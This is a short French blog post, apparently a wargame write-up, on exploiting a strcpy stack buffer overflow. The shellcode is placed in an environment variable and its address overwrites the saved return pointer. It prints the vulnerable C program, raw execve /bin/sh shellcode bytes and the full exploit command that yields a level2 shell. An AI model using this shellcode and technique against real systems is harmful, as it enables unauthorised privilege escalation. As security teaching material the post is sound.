Un petit article représentant une autre manière d'exploiter un Buffer Overflow :
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
if(argc < 2)
exit(1);
char buff[10];
strcpy(buff, argv[1]);
return 0;
}
level1@0xtcebBox:~$ whoami
level1
Comme on peut le voir : le débordement du buffer pour écraser SEIP est un peu juste. La taille d'un shellcode fait en moyenne 21,22 voir plus d'octets, ce qui fait qu'on ne peut pas inclure cette fois-ci le SC dans le buffer sans tout écraser et rendre l'exploit impossible. Une autre solution s'offre en effet à nous avec une variable d'environnement.
Il suffit que notre shellcode se trouve dans cette variable et qu'on saute dessus via son adresse dont on se sera servi pour écraser SEIP, pour pouvoir exécuter le méchant EGG.
Démonstration :
level1@0xtcebBox:~$ env -i EGG=`python -c "print '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'"` ./level1 `python -c "print 'a'*14+'\xdb\xff\xff\xbf'"`
sh-3.2$ whoami
level2
Je préfère largement cette méthode en termes de précision et d'utilité. On s'embête pas à trouver une adresse de retour dans le buffer, on se sert directement de l'adresse de la variable, on est pas limité par la taille du buffer donc +1 pour cette technique de mon point de vue.
Aucun commentaire:
Enregistrer un commentaire